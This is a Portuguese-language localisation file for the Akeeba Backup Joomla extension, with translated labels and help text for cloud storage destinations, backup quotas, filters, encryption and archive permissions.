COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_REFRESHTEAMDRIVES_TITLE="Recarregar a lista de Drives"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_TEAMDRIVE_DESCRIPTION="Em qual Google Drive pretende que os seus ficheiros sejam guardados. Precisa de concluir a autenticação antes que esta lista seja preenchida. Só faz sentido quando tem acesso a Google Team Drives (por exemplo, utilizadores do plano G Suite business ou enterprise). Se tiver dúvidas, use a opção “Google Drive (pessoal)”."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_TEAMDRIVE_OPT_PERSONAL="Google Drive (pessoal)"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_TEAMDRIVE_TITLE="Drive"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_UPLOADTOSHAREDWITHME_TITLE="Enviar para pastas “Partilhado Comigo”"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_UPLOADTOSHAREDWITHME_DESCRIPTION="Quando ativado, o Akeeba Backup procurará pastas na coleção Partilhado Comigo antes de procurar uma pasta com o mesmo nome no seu Drive. Isto é muito mais lento e pode levar ao envio para a pasta errada se existirem muitas pastas partilhadas com o mesmo nome na sua conta Google Drive."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEACCESSKEY_DESCRIPTION="A sua Chave de Acesso do Google Storage, disponibilizada na ferramenta de gestão de chaves do Google Cloud Storage (https://code.google.com/apis/console#:storage:legacy)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEACCESSKEY_TITLE="Chave de Acesso"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEBUCKET_DESCRIPTION="O nome do seu bucket Google Storage. Certifique-se de que é escrito tal como mostrado na aplicação web do navegador Google Cloud Storage (https://sandbox.google.com/storage)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEBUCKET_TITLE="Bucket"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEDIRECTORY_DESCRIPTION="O diretório dentro do seu bucket onde os arquivos de cópia de segurança serão guardados. Deixe em branco para guardar os ficheiros na raiz do bucket."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEDIRECTORY_TITLE="Diretório"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEJSON_CREDS_DESC="Cole aqui o conteúdo do ficheiro de credenciais JSON que a Google Cloud Console produziu ao configurar a Conta de Serviço para o software de cópia de segurança. Lembre-se de incluir as chavetas no início e no fim do texto."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEJSON_CREDS_TITLE="Conteúdo de googlestorage.json (leia a documentação)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGELOWERCASE_DESCRIPTION="Se ativado, o Akeeba Backup tentará alterar o nome do bucket para apenas letras minúsculas, ou seja, MyBucket será convertido em mybucket. Se criou um bucket com letras maiúsculas, por exemplo MyNewBucket, desmarque esta opção e certifique-se de que o nome do bucket é escrito exatamente como aparece na sua aplicação web do navegador Google Cloud Storage (https://sandbox.google.com/storage)."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGELOWERCASE_TITLE="Nome do bucket em minúsculas"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGESECRETKEY_DESCRIPTION="A sua Chave Secreta do Google Storage, disponibilizada na ferramenta de gestão de chaves do Google Cloud Storage (https://code.google.com/apis/console#:storage:legacy)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGESECRETKEY_TITLE="Chave Secreta"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEUSESSL_DESCRIPTION="Se ativado, será usada uma ligação segura (HTTPS) ao enviar os seus ficheiros. Embora aumente a segurança dos dados transferidos, também aumenta a possibilidade de falha da cópia de segurança devido a tempo limite."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEUSESSL_TITLE="Usar SSL"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_COLDLINE="Coldline Storage"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_DESCRIPTION="Altere a classe de armazenamento dos arquivos de cópia de segurança enviados. “Nenhuma” significa que os ficheiros serão guardados com a classe de armazenamento predefinida especificada no seu bucket. Por favor note que opções diferentes de Standard podem ser mais baratas de armazenar, mas podem incorrer em taxas adicionais se os transferir ou eliminar. Por favor consulte a Google para obter informações sobre preços."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_NEARLINE="Nearline Storage"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_NONE="Nenhuma (deixar o bucket decidir)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_STANDARD="Standard Storage"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_TITLE="Classe de Armazenamento"
COM_AKEEBABACKUP_CONFIG_HEADER_BASIC="Configuração Básica"
COM_AKEEBABACKUP_CONFIG_HEADER_CONFWIZ="Deixar o Akeeba Backup configurar-se a si próprio?"
COM_AKEEBABACKUP_CONFIG_HEADER_OPTIONALFILTERS="Filtros opcionais"
COM_AKEEBABACKUP_CONFIG_HEADER_QUOTA="Gestão de quotas"
COM_AKEEBABACKUP_CONFIG_HEADER_TUNING="Ajuste fino"
COM_AKEEBABACKUP_CONFIG_INSTALLER_DESCRIPTION="Ao realizar uma cópia de segurança completa do sítio, o Akeeba Backup incorpora o script de restauração aqui definido no arquivo. Isto permite restaurar o seu sítio de raiz, sem ter de instalar o seu CMS ou o Akeeba Backup, mesmo quando o seu sítio ou servidor está completamente destruído"
COM_AKEEBABACKUP_CONFIG_INSTALLER_TITLE="Script de restauração incorporado"
COM_AKEEBABACKUP_CONFIG_JPS_KEY_DESCRIPTION="Esta chave será usada para encriptar o conteúdo do seu arquivo. A chave é sensível a maiúsculas e minúsculas, ou seja, ABC, abc e Abc são três palavras-passe diferentes. Guarde uma cópia da palavra-passe num local seguro! Se a perder, não há forma de a recuperar."
COM_AKEEBABACKUP_CONFIG_JPS_KEY_TITLE="Chave de encriptação"
COM_AKEEBABACKUP_CONFIG_JPS_PBKDF2USESTATICSALT_DESCRIPTION="Quando ativado (predefinição), a sua palavra-passe será expandida para uma chave criptográfica usada em todo o arquivo. Isto é rápido, mas no caso muito improvável de um atacante com amplos recursos conseguir fazer engenharia reversa da chave criptográfica a partir de um bloco encriptado no ficheiro -sem forçar a sua própria palavra-passe por força bruta- poderá então desencriptar todo o arquivo de cópia de segurança. Quando desativado, uma chave criptográfica diferente será derivada da sua palavra-passe em cada bloco encriptado, o que é MUITO mais lento mas protege-o contra este tipo de ataque, exigindo que o atacante force a palavra-passe por força bruta, o que é muito mais lento."
COM_AKEEBABACKUP_CONFIG_JPS_PBKDF2USESTATICSALT_TITLE="Expansão de chave para todo o arquivo"
COM_AKEEBABACKUP_CONFIG_JSONAPI_ENABLED_DESC="A JSON API do Akeeba Backup permite-lhe realizar e gerir cópias de segurança, bem como gerir as opções do Akeeba Backup remotamente. Precisa de ativar esta opção se planeia realizar, transferir ou gerir cópias de segurança, por exemplo, com o Akeeba Remote CLI, o Akeeba UNiTE e serviços de agendamento de cópias de segurança."
COM_AKEEBABACKUP_CONFIG_JSONAPI_ENABLED_LABEL="Ativar JSON API (cópia de segurança remota)"
COM_AKEEBABACKUP_CONFIG_LARGEDIRTHRESHOLD_DESCRIPTION="Quando um diretório contém mais do que este número de ficheiros ou diretórios, é considerado \"grande\". Portanto, o Akeeba Backup tentará reanalisá-lo no passo seguinte para evitar tempos limite da cópia de segurança. Um valor demasiado pequeno fará a cópia de segurança abrandar consideravelmente. Aumente - a menos que obtenha erros de tempo limite - para acelerar a cópia de segurança."
COM_AKEEBABACKUP_CONFIG_LARGEDIRTHRESHOLD_TITLE="Limiar de diretório grande"
COM_AKEEBABACKUP_CONFIG_LARGEFILE_DESCRIPTION="Ficheiros maiores do que este limiar serão empacotados no seu próprio passo para evitar a possibilidade de um tempo limite. Valores entre 2 e 10Mb funcionam melhor na maioria dos servidores."
COM_AKEEBABACKUP_CONFIG_LARGEFILE_TITLE="Limiar de ficheiro grande"
COM_AKEEBABACKUP_CONFIG_LARGE_DIRTHRESHOLD_DESCRIPTION="Quantos diretórios analisar em cada passo. Definição recomendada: 50. Valores maiores tornam a cópia de segurança marginalmente mais rápida mas com maior probabilidade de atingir o tempo limite."
COM_AKEEBABACKUP_CONFIG_LARGE_DIRTHRESHOLD_TITLE="Tamanho do lote de análise de diretórios"
COM_AKEEBABACKUP_CONFIG_LARGE_FILESTHRESHOLD_DESCRIPTION="Quantos ficheiros analisar e comprimir em cada passo. Definição recomendada: 100. Valores maiores tornam a cópia de segurança marginalmente mais rápida mas com maior probabilidade de atingir o tempo limite ou esgotar a memória."
COM_AKEEBABACKUP_CONFIG_LARGE_FILESTHRESHOLD_TITLE="Tamanho do lote de análise de ficheiros"
COM_AKEEBABACKUP_CONFIG_LBL_CONFWIZ_AFTER="Depois de o Akeeba Backup terminar de se configurar, pode realizar uma cópia de segurança ou ajustar a sua configuração manualmente."
COM_AKEEBABACKUP_CONFIG_LBL_CONFWIZ_INTRO="Parece que ainda não configurou o Akeeba Backup. Clique no botão Assistente de Configuração abaixo para o deixar configurar-se a si próprio."
COM_AKEEBABACKUP_CONFIG_LEGACYAPI_ENABLED_DESC="A API Legada de Cópia de Segurança no Frontend permite-lhe realizar cópias de segurança agendadas usando ferramentas de acesso por URL como o wget, curl. Precisa de ativar esta opção se planeia realizar cópias de segurança com o servidor CRON do seu alojamento usando wget ou curl; ou quando planeia usar um serviço CRON de terceiros como o WebCRON.org. Sempre que possível, recomendamos usar o script CRON CLI Nativo ou a JSON API do Akeeba Backup em vez disso, pois são opções muito mais seguras."
COM_AKEEBABACKUP_CONFIG_LEGACYAPI_ENABLED_LABEL="Ativar API Legada de Cópia de Segurança no Frontend (tarefas CRON remotas)"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_DEBUG="Toda a Informação e Depuração"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_DESCRIPTION="Esta opção determina o nível de detalhe do registo da cópia de segurança."
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_ERROR="Apenas erros"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_INFO="Toda a Informação"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_NONE="Nenhum"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_TITLE="Nível de Registo"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_WARNING="Erros e Avisos"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_ENABLE_DESCRIPTION="Remover automaticamente cópias de segurança antigas com base no dia em que foram realizadas. AVISO: ATIVAR ISTO FARÁ COM QUE TODAS AS OUTRAS DEFINIÇÕES DE QUOTA (CONTAGEM E TAMANHO) SEJAM IGNORADAS."
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_ENABLE_TITLE="Ativar quotas de idade máxima da cópia de segurança"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_KEEPDAY_DESCRIPTION="As cópias de segurança realizadas neste dia do mês não serão eliminadas. Deixe a definição predefinida, 1, para preservar sempre as cópias de segurança realizadas no 1.º dia do mês"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_KEEPDAY_TITLE="Não eliminar cópias de segurança realizadas neste dia do mês"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_MAXDAYS_DESCRIPTION="As cópias de segurança mais antigas do que este número de dias serão eliminadas automaticamente. Deixe a definição predefinida, 31, para manter todas as cópias de segurança do último mês"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_MAXDAYS_TITLE="Idade máxima da cópia de segurança, em dias"
COM_AKEEBABACKUP_CONFIG_MAXEXECTIME_DESCRIPTION="Cada passo do Akeeba Backup durará <em>no máximo</em> o tempo aqui definido. Use um valor inferior ao tempo máximo de execução do PHP. Normalmente, definir isto para 10 segundos é adequado, exceto em alojamentos muito restritivos.<strong>Dica</strong>: Selecione Personalizado e escreva o valor pretendido se não estiver na lista."
COM_AKEEBABACKUP_CONFIG_MAXEXECTIME_TITLE="Tempo máximo de execução"
COM_AKEEBABACKUP_CONFIG_MAXPACKET_DESCRIPTION="O tamanho máximo, em bytes, de cada instrução INSERT estendida. Recomenda-se mantê-lo suficientemente baixo para que o MySQL não gere um erro ao restaurar o despejo da sua base de dados."
COM_AKEEBABACKUP_CONFIG_MAXPACKET_TITLE="Tamanho máximo de pacote para INSERTs estendidos"
COM_AKEEBABACKUP_CONFIG_MINEXECTIME_DESCRIPTION="Cada passo do Akeeba Backup durará <em>pelo menos</em> o tempo aqui definido. Isto é necessário para contornar soluções de segurança anti-DoS. Se obtiver erros 403 Forbidden ou erros AJAX, por favor aumente esta definição. Defini-lo como 0 desativa esta funcionalidade.<br/><br/><strong>Dica</strong>: Selecione Personalizado e escreva o valor pretendido se não estiver na lista."
COM_AKEEBABACKUP_CONFIG_MINEXECTIME_TITLE="Tempo mínimo de execução"
COM_AKEEBABACKUP_CONFIG_MYSQL5FEATURES_ENABLE_DESCRIPTION="Quando ativado, o Akeeba Backup tentará despejar estas entidades avançadas de base de dados MySQL 5. Se a sua cópia de segurança bloquear durante a fase de cópia de segurança, poderá ter de desativar isto."
COM_AKEEBABACKUP_CONFIG_MYSQL5FEATURES_ENABLE_TITLE="Despejar PROCEDUREs, FUNCTIONs e TRIGGERs"
COM_AKEEBABACKUP_CONFIG_MYSQLNOBTREE_TIP="Remove USING BTREE e USING HASH das definições de índices de tabela nos ficheiros de despejo. Isto é necessário para restaurar em servidores que tenham qualquer um dos motores de indexação desativados (por exemplo, nas versões mais recentes do XAMPP). AVISO! ISTO PODE CAUSAR PROBLEMAS DE RESTAURAÇÃO EM ALGUNS SERVIDORES."
COM_AKEEBABACKUP_CONFIG_MYSQLNOBTREE_TITLE="Ignorar motor de índices"
COM_AKEEBABACKUP_CONFIG_NODEPENDENCIES_DESCRIPTION="Quando ativado, o Akeeba Backup não rastreará as dependências entre tabelas e vistas. Use isto apenas quando tiver centenas de tabelas de base de dados e não estiver a usar VIEWs, FUNCTIONs, PROCEDUREs, TRIGGERs do MySQL ou tabelas que usam os motores (extremamente raramente usados) TEMPORARY, MEMORY, MERGE ou FEDERATED."
COM_AKEEBABACKUP_CONFIG_NODEPENDENCIES_TITLE="Sem rastreio de dependências"
COM_AKEEBABACKUP_CONFIG_OBSOLETEQUOTA_ENABLE_DESCRIPTION="Número total de registos obsoletos (cópias de segurança cujos ficheiros foram eliminados) a manter na página Gerir Cópias de Segurança. Defina como 0 para nenhum limite."
COM_AKEEBABACKUP_CONFIG_OBSOLETEQUOTA_ENABLE_TITLE="Registos obsoletos a manter"
COM_AKEEBABACKUP_CONFIG_LOGFILES_TITLE="Eliminar ficheiros de registo obsoletos"
COM_AKEEBABACKUP_CONFIG_LOGFILES_DESCRIPTION="Eliminar automaticamente os ficheiros de registo de registos de cópia de segurança bem-sucedidos. O ficheiro de registo do registo de cópia de segurança mais recente participa nos cálculos mas nunca é removido. Se o seu perfil de cópia de segurança tiver um motor de pós-processamento diferente de Nenhum ou Enviar Por E-mail, apenas os registos com o estado de cópia de segurança Remota participam nesta definição de quota de ficheiros de registo. Se o seu perfil de cópia de segurança tiver o motor de pós-processamento Nenhum ou Enviar Por E-mail, apenas os registos com o estado de cópia de segurança OK ou Remota participam nesta definição de quota de ficheiros de registo. Esta funcionalidade é executada após a quota de registos obsoletos; a quota de registos obsoletos também pode remover ficheiros de registo antigos."
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_TITLE="Tipo de quota de ficheiros de registo obsoletos"
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_DESCRIPTION="Escolha o método usado para determinar quais os ficheiros de registo antigos a remover."
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_SIZE="Tamanho Máximo"
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_COUNT="Contagem"
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_DAYS="Idade Máxima"
COM_AKEEBABACKUP_CONFIG_LOGFILES_COUNT_TITLE="Contagem de ficheiros de registo"
COM_AKEEBABACKUP_CONFIG_LOGFILES_COUNT_DESCRIPTION="Quantos ficheiros de registo manter. O ficheiro de registo da cópia de segurança mais recente realizada pode participar na contagem mas nunca será eliminado. Apenas os ficheiros de registo de registos de cópia de segurança bem-sucedidos serão considerados para remoção."
COM_AKEEBABACKUP_CONFIG_LOGFILES_SIZE_TITLE="Tamanho dos ficheiros de registo (Megabytes)"
COM_AKEEBABACKUP_CONFIG_LOGFILES_SIZE_DESCRIPTION="O tamanho total máximo dos ficheiros de registo a manter. O ficheiro de registo da cópia de segurança mais recente realizada pode participar no cálculo mas nunca será eliminado. Apenas os ficheiros de registo de registos de cópia de segurança bem-sucedidos serão considerados para remoção."
COM_AKEEBABACKUP_CONFIG_LOGFILES_DAYS_TITLE="Idade dos ficheiros de registo (dias)"
COM_AKEEBABACKUP_CONFIG_LOGFILES_DAYS_DESCRIPTION="A idade máxima em dias dos ficheiros de registo a manter. O ficheiro de registo da cópia de segurança mais recente realizada nunca será eliminado. Apenas os ficheiros de registo de registos de cópia de segurança bem-sucedidos serão considerados para remoção."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_ACCESSTOKEN_DESCRIPTION="Preenchido automaticamente quando concluir o Passo 1 da autenticação acima. NÃO partilhe o mesmo token em vários sítios. Em vez disso, autentique cada sítio separadamente."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_ACCESSTOKEN_TITLE="Token de Acesso"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_REFRESHDRIVES_TITLE="Recarregar a lista de Drives"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DRIVE_TITLE="Drive"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DRIVE_DESCRIPTION="Escolha qual Drive (OneDrive Personal, OneDrive for Business ou SharePoint) a que a sua conta tem acesso será usado para guardar as cópias de segurança. Precisa de concluir a autenticação antes que esta lista seja preenchida. Só faz sentido quando tem acesso a mais do que um drive OneDrive (por exemplo, a sua conta Microsoft faz parte da subscrição de uma organização). Se tiver dúvidas, use a opção “Drive Predefinido” que usa o seu Drive pessoal predefinido — normalmente equivalente à primeira opção “Drive (OneDrive Personal)” que vê abaixo."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DRIVE_OPT_PERSONAL="Drive (OneDrive Personal)"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DIRECTORY_DESCRIPTION="O diretório dentro do drive Microsoft OneDrive para guardar os arquivos de cópia de segurança. Por favor use barras normais, não barras invertidas e coloque sempre uma barra normal à frente. Correto: /some/thing. Errado: some\\thing. Uma única barra normal significa que os arquivos serão guardados na raiz do drive."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DIRECTORY_TITLE="Diretório"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_REFRESHTOKEN_DESCRIPTION="Preenchido automaticamente quando concluir o Passo 1 da autenticação acima. NÃO partilhe o mesmo token em vários sítios. Em vez disso, autentique cada sítio separadamente."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_REFRESHTOKEN_TITLE="Token de Atualização"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ACTIONLOGS_ENABLED_DESCRIPTION="No Joomla! 3.9 e posterior, as ações do utilizador são registadas dentro da base de dados, criando uma tabela com milhões de linhas e abrandando a sua cópia de segurança. Marque esta opção para excluir tais dados."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ACTIONLOGS_ENABLED_TITLE="Registo de Ações do Utilizador do Joomla!"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_ENABLED_DESCRIPTION="Quando ativado, apenas os ficheiros modificados após uma data e hora específicas serão incluídos na cópia de segurança."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_ENABLED_TITLE="Filtro condicional por data"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_START_DESCRIPTION="O Akeeba Backup fará cópia de segurança dos ficheiros modificados após esta data e hora. O formato é AAAA-MM-DD hh:mm:ss. Todas as datas e horas são expressas no fuso horário do seu servidor."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_START_TITLE="Cópia de segurança de ficheiros modificados após"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ERRORLOGS_ENABLED_DESCRIPTION="Excluir automaticamente os ficheiros de registo de erros, por exemplo <code>error_log</code>, independentemente de onde estejam no sítio do qual se está a fazer cópia de segurança. Estes ficheiros mudam de tamanho enquanto a cópia de segurança está em curso, o que pode levar a cópias de segurança corrompidas."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ERRORLOGS_ENABLED_TITLE="Excluir registos de erros"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_FINDER_ENABLED_DESCRIPTION="Excluir conteúdo não crítico da Pesquisa Inteligente da cópia de segurança. Recomenda-se vivamente que o faça por razões de desempenho. Após restaurar o seu sítio, por favor vá a Componentes, Pesquisa Inteligente e clique no botão Índice para reconstruir estes dados."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_FINDER_ENABLED_TITLE="Ignorar tabelas de termos e taxonomia do Finder"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_HOSTSTATS_ENABLED_DESCRIPTION="Quando ativado, o Akeeba Backup excluirá automaticamente as pastas mais comuns específicas do alojamento para guardar estatísticas de acesso do seu sítio. Estas pastas são de apenas leitura pelo utilizador do seu sítio web, causando problemas de restauração se forem incluídas na cópia de segurança."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ENABLED_TITLE="Fazer cópia de segurança apenas das tabelas instaladas pelo Joomla! e suas extensões"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ENABLED_DESCRIPTION="Ativar este filtro ignorará a cópia de segurança de qualquer tabela na base de dados que não tenha sido instalada pelo próprio Joomla! ou por uma das suas extensões. A informação sobre as tabelas instaladas é fornecida pelos ficheiros SQL incluídos com o Joomla! e suas extensões. Este filtro é útil quando tem muitas tabelas de lixo / copiadas (pense em <code>#__users_oldcopy_20250910</code>) e não quer ou não sabe como eliminá-las uma a uma. Teste sempre a restauração da cópia de segurança num servidor de desenvolvimento / preparação ao usar este filtro para garantir que a sua configuração não resultou na exclusão acidental de tabelas que pretendia usar."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ONLYJOOMLA_TITLE="Limitar a filtragem a tabelas com o prefixo do Joomla"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ONLYJOOMLA_DESCRIPTION="Ativar esta opção limitará o filtro “Fazer cópia de segurança apenas das tabelas instaladas pelo Joomla! e suas extensões” a tabelas cujo nome começa com o prefixo do nome das tabelas da base de dados do Joomla!. Isto é útil se tiver scripts de terceiros a serem executados fora do Joomla que instalam as suas tabelas sem um prefixo de tabela, ou com um prefixo de tabela diferente, e pretender incluí-las na sua cópia de segurança."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_EXTRA_TITLE="Permitir explicitamente estas tabelas"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_EXTRA_DESCRIPTION="Introduza uma lista separada por vírgulas de tabelas de base de dados a incluir na cópia de segurança mesmo que de outra forma fossem excluídas pelo filtro “Fazer cópia de segurança apenas das tabelas instaladas pelo Joomla! e suas extensões”. Isto é útil para incluir as tabelas de extensões que instalam as suas tabelas usando um método diferente da gestão de esquema de base de dados incorporada do Joomla. Dica: Se vir uma tabela que pretende incluir na cópia de segurança com um ícone vermelho na página Excluir Tabelas da Base de Dados, adicione-a a esta lista."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_HOSTSTATS_ENABLED_TITLE="Excluir pastas de estatísticas específicas do alojamento"
COM_AKEEBABACKUP_CONFIG_OUTDIR_DESCRIPTION="Este é o diretório no seu servidor onde o Akeeba Backup guardará os arquivos de cópia de segurança e o ficheiro de registo da cópia de segurança. Pode usar as seguintes macros:<ul><li><strong>[DEFAULT_OUTPUT]</strong> O diretório de saída predefinido</li><li><strong>[SITEROOT]</strong> O diretório raiz do seu sítio</li><li><strong>[ROOTPARENT]</strong> Um diretório acima da raiz do seu sítio</li></ul>"
COM_AKEEBABACKUP_CONFIG_OUTDIR_TITLE="Diretório de Saída"
COM_AKEEBABACKUP_CONFIG_OVH_CONTAINERURL_DESCRIPTION="ISTO NÃO É O NOME DO CONTENTOR DE ARMAZENAMENTO! Vá ao seu gestor de nuvem OVH, Servidores, expanda o seu servidor, clique em Armazenamento. Verá o URL do Contentor escrito ali acima da lista dos seus ficheiros. Copie-o aqui."
COM_AKEEBABACKUP_CONFIG_OVH_CONTAINERURL_TITLE="URL do Contentor"
COM_AKEEBABACKUP_CONFIG_OVH_DIRECTORY_DESCRIPTION="O diretório dentro do contentor de armazenamento de objetos OVH para guardar os arquivos de cópia de segurança. Para guardar tudo na raiz do contentor, por favor deixe em branco."
COM_AKEEBABACKUP_CONFIG_OVH_DIRECTORY_TITLE="Diretório"
COM_AKEEBABACKUP_CONFIG_OVH_PASSWORD_DESCRIPTION="ISTO NÃO É A SUA PALAVRA-PASSE DE INÍCIO DE SESSÃO OVH! Crie um utilizador a partir do seu gestor de nuvem OVH, Servidores, expanda o seu servidor, clique em OpenStack, clique em Adicionar Utilizador. Copie a Palavra-passe do utilizador criado aqui."
COM_AKEEBABACKUP_CONFIG_OVH_PASSWORD_TITLE="Palavra-passe OpenStack"
COM_AKEEBABACKUP_CONFIG_OVH_PROJECTID_DESCRIPTION="O ID do projeto do seu servidor de nuvem OVH. No gestor de nuvem da OVH, expanda o seu Servidor e clique na ligação Armazenamento. Na área principal da página vê o nome do servidor e logo abaixo há uma cadeia alfanumérica de 32 caracteres como a0b1c2d3e4f56789abcdef0123456789. Este é o ID do Projeto que precisa de introduzir aqui."
COM_AKEEBABACKUP_CONFIG_OVH_PROJECTID_TITLE="ID do Projeto"
COM_AKEEBABACKUP_CONFIG_OVH_USERNAME_DESCRIPTION="ISTO NÃO É O SEU NOME DE UTILIZADOR DE INÍCIO DE SESSÃO OVH! Crie um utilizador a partir do seu gestor de nuvem OVH, Servidores, expanda o seu servidor, clique em OpenStack, clique em Adicionar Utilizador. Copie o ID do utilizador criado aqui."
COM_AKEEBABACKUP_CONFIG_OVH_USERNAME_TITLE="Nome de Utilizador OpenStack"
COM_AKEEBABACKUP_CONFIG_PARTSIZE_DESCRIPTION="O Akeeba Backup pode criar arquivos divididos (multiparte) de forma a contornar restrições de tamanho em várias circunstâncias. Esta opção define o tamanho máximo de cada parte do arquivo. Se a reduzir para 0, a funcionalidade multiparte é desativada.</br><strong>Importante:</strong>Se estiver a usar um motor de processamento de dados que transfere arquivos para uma localização remota (por exemplo, armazenamento na nuvem), use uma definição entre 1 e 5 Mb para resultados otimizados."
COM_AKEEBABACKUP_CONFIG_PARTSIZE_TITLE="Tamanho da parte para arquivos divididos"
COM_AKEEBABACKUP_CONFIG_PCLOUD_ACCESSTOKEN_DESCRIPTION="<strong>AVISO! A AUTENTICAÇÃO NÃO ESTÁ A FUNCIONAR DEVIDO A PROBLEMAS NO SERVIDOR DE API DO pCloud. ESTE MOTOR DE PÓS-PROCESSAMENTO SERÁ REMOVIDO NUMA VERSÃO FUTURA DO AKEEBA BACKUP.</strong>. Preenchido automaticamente quando concluir o Passo 1 da autenticação acima. Se estiver a ligar outro sítio à mesma conta pCloud, deve copiar o token de acesso do sítio já configurado e não tentar executar novamente o passo 1 da autenticação."
COM_AKEEBABACKUP_CONFIG_PCLOUD_ACCESSTOKEN_TITLE="Token de Acesso"
COM_AKEEBABACKUP_CONFIG_PCLOUD_DIRECTORY_DESCRIPTION="O nome do diretório no pCloud onde o arquivo de cópia de segurança será guardado. <strong>O diretório TEM de já existir, caso contrário o envio falhará.</strong>"
COM_AKEEBABACKUP_CONFIG_PCLOUD_DIRECTORY_TITLE="Diretório"
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_0600="0600 – Segurança rígida. pode causar problemas em servidores de baixa qualidade"
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_0644="0644 – Segurança média, para uso em servidores de sítio único"
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_0666="0666 – Segurança permissiva, máxima compatibilidade com alojamentos comerciais"
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_DESCRIPTION="Configure as permissões de ficheiro para os ficheiros de arquivo da cópia de segurança. Aplica-se apenas em alojamentos Linux, macOS, BSD e outros do estilo UNIX (NÃO Windows). Se tiver dúvidas, deixe como 0666. Alterar isto pode tornar impossível transferir e / ou eliminar ficheiros de arquivo da cópia de segurança por FTP e SFTP. Se o seu servidor usa PHP-FPM ou de outra forma executa o PHP sob o mesmo utilizador que a conta de sistema do seu sítio, use 0600 para melhor segurança."
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_TITLE="Permissões do arquivo"
COM_AKEEBABACKUP_CONFIG_PLATFORM="Substituições do sítio"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDATABASE_DESCRIPTION="O nome da base de dados a copiar. Só é usado quando a caixa de verificação de substituição da base de dados do sítio está marcada."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDATABASE_TITLE="Nome da base de dados"
